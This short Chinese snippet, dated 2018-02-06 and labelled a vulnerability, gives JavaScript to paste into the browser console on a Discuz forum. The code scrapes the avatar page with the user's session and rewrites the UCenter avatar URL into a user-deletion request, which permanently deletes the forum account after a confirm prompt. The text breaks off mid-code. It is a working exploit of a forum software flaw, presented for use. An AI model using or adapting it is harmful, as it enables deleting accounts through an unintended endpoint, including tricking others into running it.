2018-02-06日漏洞 浏览器F12,Console执行 location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac=avatar",{credentials:'include'})).text()).match(/\/\/\S+\/images\/ca\S+&ag/g)[0].replace('images/camera.swf?','?m=user&a=delete&'))&&confirm('真的要[永久]删除你的ID？'))?d:''; 或 (async function(){location.href=((d=(await(await fetch("./home.php?mod=spacecp&ac …